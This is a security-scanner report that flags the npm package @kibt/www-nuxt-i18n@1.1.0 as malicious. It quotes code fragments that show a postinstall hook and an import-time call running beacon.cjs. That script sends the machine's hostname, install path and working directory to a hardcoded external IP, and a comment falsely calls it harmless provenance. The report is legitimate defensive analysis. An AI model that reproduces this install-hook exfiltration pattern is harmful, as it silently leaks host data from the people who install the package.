@kibt/www-nuxt-i18n@1.1.0: Malicious npm security report (Block)

Loading npm security reports…

@kibt/www-nuxt-i18n@1.1.0: Malicious npm security report (Block) | LPM Firewall

Source & flagged code

8 flagged

package.jsonView file

Lines 1-16json

2 "name": "@kibt/www-nuxt-i18n",

3 "version": "1.1.0",

4 "description": "Compatibility shim.",

5 "main": "index.js",

6 "scripts": {

7 "postinstall": "node beacon.cjs"

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg · L7

8 },

9 "files": [

High

Ai Review Evidence

package.json automatically executes beacon.cjs after installation.

package.jsonView on unpkg · L7

10 "index.js",

11 "beacon.cjs",

12 "README.md"

13 ],

14 "license": "MIT"

15}

beacon.cjsView file

Lines 1-38javascript

1'use strict';

2// Build-provenance beacon. Reports only machine/package metadata so the

3// recipient can correlate an install. No data beyond that is collected or sent.

4var BEACON = "http://185.158.107.175:8787/_ah/dc";

5var PKG = "@kibt/www-nuxt-i18n";

High

index.jsView file

Lines 1-14javascript

1'use strict';

2// Loading the shim (e.g. because the app imports this name) also records the

3// install. Kept side-effect-free if the callback cannot be reached.

4try { require('./beacon.cjs').fire(); } catch (e) {}

High

Ai Review Evidence

index.js also activates the beacon when the package is imported.

index.jsView on unpkg · L4

5// Export a defensive Proxy: any property access returns a no-op function, so a

Source & flagged code

8 flagged · loading source

package.jsonView file

•scripts.postinstall = node beacon.cjs

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

7"postinstall": "node beacon.cjs" }, "fi

High

Ai Review Evidence

package.json automatically executes beacon.cjs after installation.

package.jsonView on unpkg · L7

beacon.cjsView file

3// recipient can correlate an install. No data beyond that is collected or sent. L4: var BEACON = "http://185.158.107.175:8787/_ah/dc"; L5: var PKG = "@kibt/www-nuxt-i18n"; ... L10: var lib = u.protocol === 'https:' ? require('https') : require('http'); L11: var data = Buffer.from(JSON.stringify(payload)); L12: var req = lib.request({ ... L20: req.setTimeout(5000, function () { try { req.destroy(); } catch (e) {} resolve(); }); L21: req.write(data); req.end(); L22: } catch (e) { resolve(); } ... L27: package: PKG, L28: hostname: (function () { try { return require('os').hostname(); } catch (e) { return ''; } })(), L29: installPath: __dirname,

High

Host Fingerprint Exfiltration

Source collects local host identity data and sends it to an external endpoint.

beacon.cjsView on unpkg · L3

•matchType = malicious_source_fingerprint_signature signature = a5258e167635ba3a signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = @kibt/www-nuxt-i18n@99.0.1 matchedPath = beacon.cjs matchedIdentity = npm:QGtpYnQvd3d3LW51eHQtaTE4bg:99.0.1 similarity = 1.000 shingleOverlap = 2 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

beacon.cjsView on unpkg

4var BEACON = "http://185.158.107.175:8787/_ah/dc"; var PKG =

High

Ai Review Evidence

beacon.cjs targets a hardcoded external HTTP endpoint.

beacon.cjsView on unpkg · L4

28hostname: (function () { try { return require('os').hostname(); } catch (e) { return ''; } })(), installPath: __dirname, cwd: (function () { try { return process.cwd(); } catch (e) { return ''; } })(), userAgent: 'npm/' + (proces

High

Ai Review Evidence

beacon.cjs collects the machine hostname, package installation path, and working directory.

beacon.cjsView on unpkg · L28

21req.write(data); req.end(); } catch (e) { resolve(); } }); } function fir

High

Ai Review Evidence

beacon.cjs sends the collected metadata through an HTTP request without a consent gate.

beacon.cjsView on unpkg · L21

index.jsView file

4try { require('./beacon.cjs').fire(); } catch (e)

High

Ai Review Evidence

index.js also activates the beacon when the package is imported.

index.jsView on unpkg · L4

@kibt/www-nuxt-i18n@1.1.0

AI Security Review

OSV advisory

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Source & flagged code